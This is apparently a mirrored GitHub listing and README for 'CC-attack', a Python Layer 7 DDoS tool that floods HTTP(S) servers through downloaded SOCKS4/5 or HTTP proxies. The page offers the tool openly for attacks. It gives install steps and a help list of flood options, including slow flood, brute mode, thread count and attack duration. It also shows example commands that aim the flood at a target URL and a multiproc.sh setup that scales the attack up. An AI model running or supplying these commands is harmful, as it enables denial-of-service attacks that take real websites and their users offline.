项目作者: Leeon123

项目描述 :
使用Socks4 / 5代理进行多线程Http-flood / Https-flood攻击。
高级语言: Python
项目地址: git://github.com/Leeon123/CC-attack.git
创建时间: 2018-10-01T11:55:39Z
项目社区:https://github.com/Leeon123/CC-attack

开源协议:MIT License

下载


  1. ///// ///// /////////////
  2. CCCCC/ CCCCC/ | CC-attack |/
  3. CC/ CC/ |-----------|/
  4. CC/ CC/ | Layer 7 |/
  5. CC///// CC///// | ddos tool |/
  6. CCCCC/ CCCCC/ |___________|/

" class="reference-link">CC-attack

A script for using socks4/5 or http proxies to attack http(s) server.

News:

  • Added Support of HTTP proxies
  • [x] Added More proxies api to download

    Info:

  • Using Python3
  • Added more human-like options
  • Http Get/Head/Post/Slow Flood
  • Random Http Header/Data
  • Socks4/5 Proxies Downloader
  • Socks4/5 Proxies Checker
  • Customize Cookies
  • Customize Post Data
  • Support HTTPS
  • Support Socks4/5

Showcase

Using multiproc.sh with socks4 on a vps

Install

  1. pip3 install requests pysocks
  2. git clone https://github.com/Leeon123/CC-attack.git
  3. cd CC-attack

Usage

  1. python3 cc.py <arguments>
  1. =============== CC-attack help list ===============
  2. -h/help | showing this message
  3. -url | set target url
  4. -m/mode | set program mode
  5. -data | set post data path (only works on post mode)
  6. | (Example: -data data.json)
  7. -cookies | set cookies (Example: 'id:xxx;ua:xxx')
  8. -v | set proxy type (4/5/http, default:5)
  9. -t | set threads number (default:800)
  10. -f | set proxies file (default:proxy.txt)
  11. -b | enable/disable brute mode
  12. | Enable=1 Disable=0 (default:0)
  13. -s | set attack time(default:60)
  14. -down | download proxies
  15. -check | check proxies
  16. =====================================================

Some example of the usage

Download socks5 proxies as proxy.txt:

  1. python3 cc.py -down -f proxy.txt -v 5

Attack a target with custom proxies list(socks4.txt) for 30 seconds :

  1. python3 cc.py -url http://target.com -f socks4.txt -v 4 -s 30

Usage of multiproc.sh

  1. This script is using for increasing the performance of cc.py.
  2. Due to the suck performance of python since it has a GIL lock,
  3. And I am lazy to make a multiprocess version.
  4. There is a option for linux user to increase their performance of cc.py
  5. This script basicly just run cc.py multiple times to make it "multi-processing"
  6. First, put this script and cc.py in the same folder.
  7. Then prepare the proxies list by yourself or just run "python3 cc.py -down -v 4" (-v socks version)
  8. After that, change the number of process.
  9. At last, change atk_cmd to your command and run the script by "bash multiproc.sh"

Example setup of multiproc.sh (-v socks version) (-s attack time)

  1. atk_cmd="python3 cc.py -url http://target.com -v 4 -s 60"
  2. #number of process that you want
  3. process=10